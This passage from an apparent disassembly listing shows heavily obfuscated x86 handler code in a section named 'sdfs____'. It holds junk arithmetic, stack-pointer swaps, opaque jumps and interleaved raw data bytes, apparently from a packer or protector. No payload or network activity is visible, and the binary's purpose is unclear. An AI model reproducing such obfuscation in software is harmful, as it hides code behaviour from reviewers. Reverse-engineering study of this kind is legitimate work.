		dd 0C3015AD0h, 632D5F58h, 56A7B7Bh, 7BC0167Eh, 0E84E292Dh
		dd 5D8292Eh, 2EE84E29h,	0C0167E2Dh, 0EBD557Bh, 0F73B937Ah
		dd 69E581DDh, 50317A04h, 0EC88FDB8h, 58C52995h,	5B5DE801h
		dd 5AE9D801h
		db 0EAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_594E0B:				; CODE XREF: sdfs____:00590BE5j
		pop	ebx
		jmp	loc_5950FA
; ---------------------------------------------------------------------------


loc_594E11:				; CODE XREF: sdfs____:00593C29j
		mov	[esp], ebx
		push	esp
		pop	ebx
		add	ebx, 4
		sub	ebx, 4
		jmp	loc_594F18
; ---------------------------------------------------------------------------
aBtFQs		db 'âÂFÁqéÙ%',0
		db 0
; ---------------------------------------------------------------------------


loc_594E2F:				; CODE XREF: sdfs____:00597EDDj
		sub	ebx, 5C5616D1h
		push	eax
		push	2E8A2D48h
		pop	eax
		jmp	loc_594780
; ---------------------------------------------------------------------------
		db 0B8h, 69h, 22h
		dd 0E9404F99h, 0FFFF958Bh, 40E9565Ah
		db 2Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_594E53:				; CODE XREF: sdfs____:005900ACj
		add	bl, ch
		jmp	loc_58BBF3
; ---------------------------------------------------------------------------


loc_594E5A:				; CODE XREF: sdfs____:00591FECj
		pop	edi
		push	edi
		jmp	loc_591B7D
; ---------------------------------------------------------------------------


loc_594E61:				; CODE XREF: sdfs____:0058B9F6j
		mov	ebx, [esp]
		add	esp, 4
		add	ebx, 4
		push	eax
		mov	eax, 2
		add	ebx, eax
		pop	eax
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		mov	esp, [esp]
		test	cx, ax
		pushf
		jmp	loc_58B9C5
; ---------------------------------------------------------------------------


loc_594E8E:				; CODE XREF: sdfs____:00590F54j
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		mov	esp, [esp]
		inc	word ptr [esp]
		pushf
		jmp	loc_597088
; ---------------------------------------------------------------------------
		db 89h
		dd 0C2815DEBh, 5ED34259h, 573FC281h, 0DA012129h, 573FEA81h
		dd 0EA812129h, 5ED34259h, 2414875Bh, 0FF24248Bh, 50592434h
		dd 0FFAFADE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_594ED9:				; CODE XREF: sdfs____:0058E905j
		xchg	edx, [esp]
		pop	esp
		mov	[esp], esi
		mov	esi, esp
		push	eax
		mov	eax, 75E45F0Ah
		jmp	loc_597FE9
; ---------------------------------------------------------------------------
		db 29h,	0D0h, 0E9h
		dd 0FFFFB473h, 0C681E689h, 4, 8704C683h, 248B2434h, 4BB5324h
		dd 81000000h, 0A441FEC1h, 0E9D9011Dh, 0FFFFF24Fh
; ---------------------------------------------------------------------------


loc_594F18:				; CODE XREF: sdfs____:00594E1Fj
		sub	esp, 4
		mov	[esp], ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], edi
		push	ebx
		jmp	loc_58DFE0
; ---------------------------------------------------------------------------
		dw 0EB88h
		dd 24148B59h, 4C481h, 5AE90000h, 5AFFFFDCh, 0EB80EB28h
		dd 0C8B66F2h, 0E3895324h, 0FF9225E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_594F55:				; CODE XREF: sdfs____:00592C2Aj
		dec	ecx
		xor	ecx, 2A68434Eh
		jmp	loc_58FB10
; ---------------------------------------------------------------------------


loc_594F61:				; CODE XREF: sdfs____:005977C9j
		pop	ecx
		jmp	loc_594501
; ---------------------------------------------------------------------------
		db 1
		dd 0C5215BD8h, 0FFCE9EE9h, 6A4FE9FFh, 405FFFFh,	83000000h
		dd 48704C0h, 0C3815C24h, 6DA11FDCh, 0B951C329h,	6DA11FDCh
		dd 0FFC29BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_594F95:				; CODE XREF: sdfs____:00590AEFj
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_58EC6C
; ---------------------------------------------------------------------------
		db 66h
		dd 5224048Bh, 0D3E95A54h, 31FFFFEEh, 3C33243Ch,	89665C24h
		dd 2E92404h, 81FFFF6Ah,	0ED6EACE7h, 246AE931h, 0BE560000h
		dd 0FFF47FFEh, 348BF329h, 4C48324h, 7CCE68h, 241C8900h
		dd 8B24478Fh, 8957241Ch, 4C781E7h, 83000000h, 3C8704C7h
		dd 0D2315C24h, 0FF8251E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_595001:				; CODE XREF: sdfs____:005942E8j
		jns	loc_58D8F9
		sub	ecx, 3439F20h
		jmp	loc_592A59
; ---------------------------------------------------------------------------
		dw 0D7F7h
; ---------------------------------------------------------------------------


loc_595014:				; CODE XREF: sdfs____:00591BBAj
		pop	ebx
		add	esp, 4
		add	ebx, 4
		add	ebx, 4
		jmp	loc_591011
; ---------------------------------------------------------------------------
		dd 376ECD81h, 0E5C1276Fh, 0FF8B0F04h, 52000019h, 0F6ECB850h
		dd 0C28977FFh, 5AD52958h, 15DEE89h, 24348BF0h, 4C481h
		dd 52570000h, 0C351A5BAh, 0DDD4E94Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_595062:				; CODE XREF: sdfs____:0058D024j
		sub	ebp, ecx
		pop	ecx
		jmp	loc_58E826
; ---------------------------------------------------------------------------
		dw 0EF81h
		dd 2E0B2B29h, 0EF81DFF7h, 520854A9h, 5DB8F781h,	0F801AA00h
		dd 2404875Fh, 74FF515Ch, 0C8B0424h, 4C48124h, 0E9000000h
		dd 0FFFFF609h, 0FA9EF81h, 8B0F0713h, 0FFFFEC44h, 0CBD4EF81h
		dd 0FB29D273h, 5F2434FFh, 4C481h, 0BAE90000h, 0FFFFF88h
		dd 0FF951F8Fh, 73C781FFh, 0E924EF42h, 0FFFFE161h, 0CD68F70Ch
		dd 89000060h, 0E268242Ch, 5D0CCD10h, 1A46F581h,	8F0F5395h
		dd 14A4h, 2404FF55h, 2EDC15Dh, 2355E9h,	0C329E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5950FA:				; CODE XREF: sdfs____:00594E0Cj
		dec	cl
		not	cl
		push	ebx
		mov	bl, 0FCh
		dec	bl
		xor	bl, 81h
		push	ecx
		jmp	loc_58BC88
; ---------------------------------------------------------------------------


loc_59510C:				; CODE XREF: sdfs____:00595A32j
		mov	ebp, 79F62BA5h
		not	ebp
		jmp	loc_58EC1B
; ---------------------------------------------------------------------------
		dd 11B7C581h, 0E4E94277h
		db 0BAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_595123:				; CODE XREF: sdfs____:0058D8C3j
					; sdfs____:00593B5Bj
		mov	ebp, [esp]
		add	esp, 4
		sub	edi, 5959421Eh
		add	edi, 7AAFFEAFh
		jmp	loc_58FDCB
; ---------------------------------------------------------------------------


loc_59513A:				; CODE XREF: sdfs____:0059469Cj
		mov	ecx, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		push	1F43h
		mov	[esp], ebp
		push	6630h
		mov	[esp], ecx
		push	eax
		mov	eax, 1DD74A2Fh
		push	eax
		push	5414h
		mov	[esp], edi
		mov	edi, 2C9F41C7h
		sub	[esp+4], edi
		pop	edi
		jmp	loc_59654D
; ---------------------------------------------------------------------------


loc_59517B:				; CODE XREF: sdfs____:0059887Dj
		push	dword ptr [esp]
		mov	eax, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_598BA4
; ---------------------------------------------------------------------------


loc_5951A5:				; CODE XREF: sdfs____:0059380Aj
		and	ecx, 5B205DBBh
		push	esi
		mov	esi, 499F6FC8h
		push	esi
		not	dword ptr [esp]
		jmp	loc_58F699
; ---------------------------------------------------------------------------


loc_5951BA:				; CODE XREF: sdfs____:loc_590D59j
		add	edi, 24EF4273h
		jmp	loc_58FE94
; ---------------------------------------------------------------------------
		db 87h,	34h, 24h
		dd 0FFDE3EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5951CD:				; CODE XREF: sdfs____:00597D8Fj
		sub	ebp, 2D5959BBh
		jmp	loc_58CA5F
; ---------------------------------------------------------------------------
		dd 0E904C483h, 1137h, 15EF189h,	0F08959CEh, 0FD8F75Eh
		dd 0FFE0AB8Ah, 132FE9FFh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5951F6:				; CODE XREF: sdfs____:0059594Ej
		mov	edx, 2
		sub	esi, 68B604Bh
		add	esi, edx
		add	esi, 68B604Bh
		pop	edx
		push	esi
		push	dword ptr [esp+4]
		jmp	loc_59726E
; ---------------------------------------------------------------------------


loc_595214:				; CODE XREF: sdfs____:00592535j
		add	ebp, 8825B96h
		neg	ebp
		jmp	loc_5967C4
; ---------------------------------------------------------------------------
		db 80h,	0C1h, 0A7h
		dd 0E980D100h, 2B2C5AA7h, 0FFC874E9h, 241C8BFFh, 0FFF7A0E9h
		dd 0F7EA87FFh, 81EA87D5h, 737A33EAh, 692B05CAh,	0BA5253A4h
		dd 433F5FD5h, 0FFFBCFE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_595255:				; CODE XREF: sdfs____:005911D8j
		xor	[esp+4], ecx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_595A6A
; ---------------------------------------------------------------------------
		dd 1DD3EA81h, 0E94A093Eh, 0FFFF7270h, 0BF575D54h, 4, 525FFD01h
		dd 0C281E289h, 4, 4EA81h, 14870000h, 3C895C24h,	4BE5624h
		dd 89000000h, 0AD75E9F7h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59529E:				; CODE XREF: sdfs____:0058DE36j
		mov	ebx, 0D527B4h
		jmp	loc_58E311
; ---------------------------------------------------------------------------
		dd 2424D35Ch, 0FF6714E9h, 243C89FFh, 0C781E789h, 4, 0FFE4ADE9h
		dd 0C6815DFFh, 7458435Bh, 0EE81C629h, 7458435Bh, 17CEB850h
		dd 0E325047Ah, 3505F83Fh, 6E0F3C68h, 20D85705h,	58C601C3h
		dd 0FFE35AE9h, 0C8005AFFh, 7F03E959h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5952F6:				; CODE XREF: sdfs____:00596508j
		add	esp, 4
		sub	ebx, edx
		mov	edx, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		jmp	loc_58BBAD
; ---------------------------------------------------------------------------


loc_595318:				; CODE XREF: sdfs____:0058D31Cj
		add	edx, 626233DCh
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		add	edx, 4
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		pop	esp
		add	esp, 4
		jmp	loc_58FD5F
; ---------------------------------------------------------------------------


loc_59533D:				; CODE XREF: sdfs____:0058F968j
		mov	[esp], eax
		push	edi
		push	52E428F6h
		pop	edi
		shr	edi, 8
		inc	edi
		jmp	loc_5941BD
; ---------------------------------------------------------------------------
		dd 4BFh, 0E9F90100h, 0FFFFE2BDh
; ---------------------------------------------------------------------------


loc_59535C:				; CODE XREF: sdfs____:0058F7C2j
		add	esi, ebp
		pop	ebp
		jmp	loc_59537C
; ---------------------------------------------------------------------------
		dd 0F703E3C1h, 6EBC1D3h, 0FFF390E9h, 241C31FFh,	0E9241C33h
		dd 2DFEh
; ---------------------------------------------------------------------------


loc_59537C:				; CODE XREF: sdfs____:0059535Fj
		push	esi
		push	dword ptr [esp+4]
		jmp	loc_58EF16
; ---------------------------------------------------------------------------


loc_595386:				; CODE XREF: sdfs____:0059097Cj
		jmp	loc_58B9C5
; ---------------------------------------------------------------------------
		db 87h
		dd 895C2414h, 0B8502424h, 4, 4244401h, 0B8505F58h, 69F74F6Fh
		dd 0FFC97FE9h, 0D3E981FFh, 0E903EEF7h, 0FFFFC041h, 4EC81h
		dd 14890000h, 70B85024h, 8976911Eh, 0E94258C2h,	0FFFFA5D6h
; ---------------------------------------------------------------------------


loc_5953CC:				; CODE XREF: sdfs____:00596D7Cj
		mov	eax, [esp]
		add	esp, 4
		push	ebx
		push	ecx
		mov	ecx, 3FC8528Ch
		mov	ebx, ecx
		pop	ecx
		xor	edx, ebx
		pop	ebx
		inc	edx
		xor	edx, 16FF604Bh
		not	edx
		not	edx
		add	edx, 0A7EDE286h
		jmp	loc_596B57
; ---------------------------------------------------------------------------
		dd 0D6F7D6F7h, 4EFFEE83h, 9A98800Fh, 0CB68FFFFh, 89000010h
		dd 0BE56240Ch, 569E16FFh, 6A6BEE81h, 0E6814C77h, 7DD13CD8h
		dd 0FFAF8FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_595425:				; CODE XREF: sdfs____:00594BF6j
		add	esi, 70392FDBh
		jl	loc_596191
		dec	esi
		jmp	loc_597B84
; ---------------------------------------------------------------------------


loc_595437:				; CODE XREF: sdfs____:00591FD4j
		mov	ebx, 4
		add	esi, ebx
		pop	ebx
		sub	esi, 4
		jmp	loc_593C16
; ---------------------------------------------------------------------------
		dw 0EC81h
		dd 4, 68242C89h, 7CE8h,	81242489h, 42404h, 535D0000h, 5BCD6852h
		dd 5EE9720Eh, 66FFFFCCh, 8A2BE953h, 0E981FFFFh,	909B9B12h
		dd 0F759CD01h, 47E953D5h, 0E9000023h, 0FFFF6539h
; ---------------------------------------------------------------------------


loc_59548C:				; CODE XREF: sdfs____:0059388Dj
		and	eax, ebx
		jmp	loc_58E579
; ---------------------------------------------------------------------------
		db 49h
		dd 0F1814941h, 16D44B84h, 5006E9C1h, 617C11B8h,	0DE12E901h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5954AA:				; CODE XREF: sdfs____:0058BE5Bj
		mov	edi, 6A4B183Dh
		jmp	loc_58F461
; ---------------------------------------------------------------------------


loc_5954B4:				; CODE XREF: sdfs____:00596F91j
		mov	[esp], ebx
		push	ebx
		push	380h
		mov	[esp], ebp
		push	14DC74FFh
		pop	ebp
		push	esi
		mov	esi, 476376E8h
		mov	ebx, esi
		pop	esi
		sub	ebx, ebp
		pop	ebp
		xor	[esp+4], ebx
		mov	ebx, [esp]
		jmp	loc_590716
; ---------------------------------------------------------------------------


loc_5954DE:				; CODE XREF: sdfs____:0058D812j
		mov	[esp], edx
		mov	dl, 6Dh
		sub	dl, 0Ch
		sub	ch, 4
		add	ch, 0C8h
		sub	ch, dl
		sub	ch, 0C8h
		add	ch, 4
		pop	edx
		add	ch, 4Ah
		shl	ch, 7
		shr	ch, 3
		sub	ch, 1
		xor	ch, 97h
		xor	al, ch
		pop	ecx
		push	ecx
		push	ebx
		mov	bl, 89h
		add	bl, 0B9h
		push	eax
		mov	ah, 6Fh
		xor	ah, 0F4h
		add	bl, 0A0h
		add	bl, ah
		push	cx
		mov	cl, 0A0h
		sub	bl, 61h
		sub	bl, cl
		add	bl, 61h
		pop	cx
		pop	eax
		xor	bl, 71h
		jle	loc_596153
		jmp	loc_59194A
; ---------------------------------------------------------------------------
		dw 0C281h
		dd 4
; ---------------------------------------------------------------------------


loc_59553C:				; CODE XREF: sdfs____:0058D641j
		not	edx
		xchg	edx, [esp]
		pop	edi
		add	edi, 2CDA3C20h
		xchg	eax, edi
		not	eax
		jmp	loc_58F906
; ---------------------------------------------------------------------------
		dd 240C8B5Bh, 4C481h, 0EC830000h, 241C8904h, 0E655A7BBh
		dd 39C1817Ah, 814E1A4Bh, 611C08E9h, 5E98102h, 14C8241h
		dd 5C181D9h, 814C8241h,	611C08C1h, 39E98102h, 8B4E1A4Bh
		dd 8951241Ch, 4C181E1h,	83000000h, 0C8704C1h, 0E9575C24h
		dd 1DDFh
; ---------------------------------------------------------------------------


loc_5955A4:				; CODE XREF: sdfs____:0058CEEBj
		push	esi
		mov	esi, 4
		sub	ecx, esi
		jmp	loc_596A16
; ---------------------------------------------------------------------------


loc_5955B1:				; CODE XREF: sdfs____:0058C439j
		pop	esp
		shr	eax, 18h
		xor	eax, ecx
		xchg	eax, esi
		push	esi
		jmp	loc_592938
; ---------------------------------------------------------------------------


loc_5955BE:				; CODE XREF: sdfs____:00598D5Aj
		sub	al, 4Bh
		xor	al, 0CFh
		sub	bl, al
		pop	eax
		jmp	loc_5943A3
; ---------------------------------------------------------------------------
		dw 0D829h
		dd 0FFD4E6E9h, 240C89FFh, 0FF9B2CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5955D9:				; CODE XREF: sdfs____:005944FCj
		pop	edi
		sub	eax, ecx
		pop	ecx
		mov	esi, [esp]
		add	esp, 4
		push	6BE8h
		mov	[esp], edi
		push	esi
		jmp	loc_59878C
; ---------------------------------------------------------------------------
		dd 5D8E95Eh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5955FA:				; CODE XREF: sdfs____:0058FF04j
					; sdfs____:0059114Ej
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_58B9C5
; ---------------------------------------------------------------------------


loc_595609:				; CODE XREF: sdfs____:00591EE9j
		pop	ecx
		pop	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
		xor	eax, ebx
		xor	ebx, eax
		xor	eax, ebx
		push	73F0h
		mov	[esp], esi
		mov	esi, 1F637FCh
		add	esi, 242D0848h
		jle	loc_594179
		inc	esi
		add	esi, 0FFFFFFFFh
		dec	esi
		push	esi
		jmp	loc_58DEEE
; ---------------------------------------------------------------------------


loc_59563D:				; CODE XREF: sdfs____:00597EB2j
		pop	ebx
		jmp	loc_58E8EC
; ---------------------------------------------------------------------------


loc_595643:				; CODE XREF: sdfs____:0058C74Fj
		add	esp, 4
		jmp	loc_598254
; ---------------------------------------------------------------------------
		dw 0B951h
		dd 2, 0FF68FCE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_595659:				; CODE XREF: sdfs____:0059220Aj
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_5962B1
; ---------------------------------------------------------------------------


loc_59566E:				; CODE XREF: sdfs____:0058CB1Aj
		mov	eax, 0AE75B83h
		jmp	loc_5941C8
; ---------------------------------------------------------------------------


loc_595678:				; CODE XREF: sdfs____:00598776j
		sub	esp, 4
		mov	[esp], esp
		jmp	loc_598557
; ---------------------------------------------------------------------------


loc_595683:				; CODE XREF: sdfs____:00598A13j
		add	edi, ebx
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		push	ecx
		jmp	loc_58BD2F
; ---------------------------------------------------------------------------
		dw 0C601h
		dd 8904EC83h, 5EBA2414h, 15D9527h, 83585AD6h, 0E7E904C6h
		db 0E1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5956AB:				; CODE XREF: sdfs____:005981BCj
		and	eax, ecx
		mov	ecx, [esp]
		add	esp, 4
		or	eax, eax
		jz	loc_592A88
		push	dword ptr [edi+28h]
		push	5E9Ah
		mov	[esp], esi
		push	60EE7827h
		pop	esi
		jmp	loc_591A26
; ---------------------------------------------------------------------------


loc_5956D1:				; CODE XREF: sdfs____:0058F8C6j
		mov	dl, 1Bh
		push	cx
		mov	ch, 0D0h
		add	dl, ch
		jmp	loc_59873F
; ---------------------------------------------------------------------------


loc_5956DE:				; CODE XREF: sdfs____:00596BFEj
		mov	ecx, 68954810h
		add	ecx, 17533205h
		push	edi
		mov	edi, 230D4A44h
		dec	edi
		jmp	loc_5944F1
; ---------------------------------------------------------------------------
		db 57h,	0BFh, 0Ah
		dd 81223C35h, 0EA37AFF7h, 5FFD2935h, 0FFF7A2E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_595709:				; CODE XREF: sdfs____:00598B83j
		mov	eax, esp
		jmp	loc_58E5EB
; ---------------------------------------------------------------------------


loc_595710:				; CODE XREF: sdfs____:0058C139j
		push	esi
		push	24406892h
		pop	esi
		shr	esi, 8
		jnp	loc_592C5E
		add	esi, 0CF84D17h
		jns	loc_5933B9
		mov	dh, ah
		mov	ax, [esp]
		push	edx
		jmp	loc_596CF2
; ---------------------------------------------------------------------------
		dd 8158C301h, 0B5BCF7C3h, 86EA81CFh, 15E964Fh, 86C281DAh
		dd 8B5E964Fh, 0C481241Ch, 4, 2BB53h, 0BEE90000h, 81FFFF9Eh
		dd 4C4h, 0A2FE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59576E:				; CODE XREF: sdfs____:0059811Aj
		push	ebp
		jmp	loc_58D3CD
; ---------------------------------------------------------------------------
		dd 8B2434FFh, 0C4832414h, 5A545204h, 6A5FB951h,	0E1D102C7h
		dd 0FFA7C4E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_59578D:				; CODE XREF: sdfs____:0058C836j
		mov	[esp], edx
		push	esp
		jmp	loc_593AB3
; ---------------------------------------------------------------------------


loc_595796:				; CODE XREF: sdfs____:0058DA2Aj
		push	ax
		pushf
		jmp	loc_58B9C5
; ---------------------------------------------------------------------------


loc_59579E:				; CODE XREF: sdfs____:00593684j
		sub	esi, 27B10321h
		sub	esp, 4
		jmp	loc_593A28
; ---------------------------------------------------------------------------
		dd 0E904C483h, 0FFFFEF28h, 2414875Eh, 0CD3665Ch, 2E99C24h
		dd 81FFFF62h, 0CB5598F3h, 1AFEE948h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5957CE:				; CODE XREF: sdfs____:0058D748j
		mov	ebx, 0EF40A6Dh
		mov	ebp, ebx
		mov	ebx, [esp]
		add	esp, 4
		sub	ebp, 0D85E8C0Bh
		sub	ebx, ebp
		mov	ebp, [esp]
		jmp	loc_5964A1
; ---------------------------------------------------------------------------


loc_5957EE:				; CODE XREF: sdfs____:0058D620j
		xor	eax, ebp
		sub	esp, 4
		mov	[esp], ebp
		push	ebx
		mov	ebx, 491C175Fh
		mov	ebp, 0B6E3E8A2h
		push	ebx
		jmp	loc_595C81
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	dword ptr [esp]
		jmp	loc_59419F
; ---------------------------------------------------------------------------
		db 0B5h, 0A0h, 80h
		dd 0EB80C8C3h, 50EB0016h, 0C8FE0AB0h, 0E02CD0F6h, 8058C300h
		dd 5966C8EBh, 0EB80F300h, 1E95AA0h, 68FFFFBBh, 2567786h
		dd 2EBC15Bh, 0F03EBC1h,	0FFF32F88h, 1AD5E9FFh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_595862:				; CODE XREF: sdfs____:00590EE5j
		add	eax, 249846FBh
		pop	edi
		add	eax, 4
		jmp	loc_58D8DD
; ---------------------------------------------------------------------------
		dw 1487h
		dd 0AFE8E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59587A:				; CODE XREF: sdfs____:0058FC7Aj
		push	ebp
		jmp	loc_590A48
; ---------------------------------------------------------------------------
		dd 4BFh, 5FF90100h, 0C23E9h, 89575A00h,	62BFE9E7h, 5451FFFFh
		dd 4EC8159h, 89000000h,	4BA2414h, 1000000h, 24148BD1h
		dd 51585450h, 4B9h, 0A70CE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5958BA:				; CODE XREF: sdfs____:00593794j
		mov	eax, [esp]
		add	esp, 4
		push	eax
		push	ebx
		push	53D25EF1h
		mov	ebx, [esp]
		add	esp, 4
		push	693Bh
		jmp	loc_58C202
; ---------------------------------------------------------------------------
		db 33h,	3Ch, 24h
		dd 2404895Ch, 8904EC83h, 73682434h, 0E94F7B33h,	0FFFF6354h
		dd 0E689565Dh, 4C681h, 0C6830000h, 24348704h, 2D23E9h
		dd 24448100h, 0B562ED04h, 0FC3AE940h, 0D301FFFFh, 6E18C381h
		dd 0EB814C00h, 56CC3297h, 0CFB9515Ah, 8173BE59h, 0BE59CBE9h
		dd 0E9CB0173h, 0FFFF8893h
; ---------------------------------------------------------------------------


loc_595938:				; CODE XREF: sdfs____:00594A01j
		xchg	edi, edx
		sub	edx, 86127C86h
		add	edi, 5F7463CDh
		jmp	loc_58D0C8
; ---------------------------------------------------------------------------


loc_59594B:				; CODE XREF: sdfs____:0058CB53j
		mov	[esp], edx
		jmp	loc_5951F6
; ---------------------------------------------------------------------------


loc_595953:				; CODE XREF: sdfs____:0059428Bj
		mov	edx, [esp]
		add	esp, 4
		push	esi
		jmp	loc_591F68
; ---------------------------------------------------------------------------


loc_59595F:				; CODE XREF: sdfs____:0058D3FAj
		mov	esi, [esp]
		add	esp, 4
		pop	eax
		sub	eax, 33D01293h
		push	eax
		jmp	loc_58FCF4
; ---------------------------------------------------------------------------
		dd 31240C33h, 0E2E9240Ch
		db 0A2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59597F:				; CODE XREF: sdfs____:005929E7j
		add	ecx, edx
		mov	[ecx], al
		pop	ecx
		jmp	loc_58B9C5
; ---------------------------------------------------------------------------
		db 5Bh,	0, 0D0h
		dd 5224148Bh, 0C281E289h, 4, 0FF7BC9E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_59599D:				; CODE XREF: sdfs____:loc_59641Bj
		jmp	loc_593FDC
; ---------------------------------------------------------------------------


loc_5959A2:				; CODE XREF: sdfs____:0058D5BCj
		push	esi
		pop	eax
		pop	esi
		xchg	eax, [esp]
		mov	eax, [esp]
		jmp	loc_58BC4E
; ---------------------------------------------------------------------------


loc_5959B0:				; CODE XREF: sdfs____:00592139j
		xor	ch, 63h
		xor	ch, 0B0h
		jge	loc_58E950
		shl	ch, 8
		add	ch, 0E8h
		mov	dl, ch
		pop	ecx
		add	dl, 0A4h


loc_5959C8:				; CODE XREF: sdfs____:00591C11j
		xchg	edx, ebp
		jmp	loc_597F1E
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFFA9F4h, 6804C083h, 8E0h,	0FF240489h, 58042474h
		dd 5C24048Fh, 0FFCAA3E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5959ED:				; CODE XREF: sdfs____:0058EB5Cj
		sub	eax, 5ABE0542h
		shl	eax, 3
		push	edx
		jmp	loc_5921CA
; ---------------------------------------------------------------------------


loc_5959FB:				; CODE XREF: sdfs____:00594BBCj
		push	0FFFFh
		pop	edi
		and	eax, edi
		mov	edi, [esp]
		sub	esp, 4
		jmp	loc_58DFAA
; ---------------------------------------------------------------------------
		dw 0F188h
		dd 9C68585Ah, 89000019h, 0CB88241Ch, 88D98851h,	8B01874Ch
		dd 0C483240Ch, 44E95B04h
		db 0E7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_595A2F:				; CODE XREF: sdfs____:005922A4j
		mov	[esp], ebp
		jmp	loc_59510C
; ---------------------------------------------------------------------------
		db 88h
		dd 58C688F8h, 148BF188h, 4C48124h, 0E9000000h, 0FFFF8681h
		dd 46E1BB53h, 57E92704h
		db 64h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_595A57:				; CODE XREF: sdfs____:0058DEB9j
		xor	ecx, 3048647Fh
		add	ecx, 79B912CCh
		not	ecx
		jmp	loc_591CBD
; ---------------------------------------------------------------------------


loc_595A6A:				; CODE XREF: sdfs____:0059525Fj
					; sdfs____:00595F58j
		pop	eax
		xor	eax, 675D6CB9h
		jmp	loc_594B91
; ---------------------------------------------------------------------------


loc_595A75:				; CODE XREF: sdfs____:005908A6j
		mov	edi, 0
		sub	edi, esi
		mov	esi, edi
		jmp	loc_58C963
; ---------------------------------------------------------------------------
		db 1
		dd 0F3C781F7h, 8B19D174h, 0C4832434h, 2C78304h,	633C68h
		dd 243C8900h, 42474FFh,	0E9243C8Bh, 0FFFF9F4Fh,	0CB9BF781h
		dd 0F989A437h, 0ECAFBD5Fh, 0CD01AE8Dh, 91ED8159h, 0E90E1621h
		dd 0FFFFC757h
; ---------------------------------------------------------------------------


loc_595AC4:				; CODE XREF: sdfs____:00592F0Cj
		xchg	ebx, [esp]
		mov	esp, [esp]
		mov	[esp], eax
		push	eax
		push	dword ptr [esp+4]
		mov	eax, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		xor	eax, esi
		jmp	loc_594D71
; ---------------------------------------------------------------------------


loc_595AE2:				; CODE XREF: sdfs____:0058F763j
		shr	ecx, 2
		jmp	loc_591370
; ---------------------------------------------------------------------------


loc_595AEA:				; CODE XREF: sdfs____:00598B31j
		mov	ebx, 0D3B2E312h
		add	ebx, edx
		pop	edx
		dec	ebx
		neg	ebx
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_596A66
; ---------------------------------------------------------------------------
		db 5Eh
		dd 2474FF51h, 20BAE904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_595B0E:				; CODE XREF: sdfs____:00593458j
		push	ebp
		mov	ebp, 4
		jmp	loc_593E1B
; ---------------------------------------------------------------------------
		db 87h,	4, 24h
		dd 3CD3665Ch, 9EE99C24h, 66FFFF5Eh, 0E924048Bh,	1BE7h
		dd 0A3E9EA88h
		db 6Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_595B37:				; CODE XREF: sdfs____:0058D3C8j
		push	esp
		jmp	loc_594206
; ---------------------------------------------------------------------------


loc_595B3D:				; CODE XREF: sdfs____:00598C78j
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 13516D69h
		mov	ebx, 3753117Dh
		jmp	loc_593E59
; ---------------------------------------------------------------------------


loc_595B55:				; CODE XREF: sdfs____:0059895Aj
		sub	eax, esi
		push	esi
		mov	esi, 3DCF489Dh
		or	esi, 71292BE1h
		jmp	loc_58D555
; ---------------------------------------------------------------------------
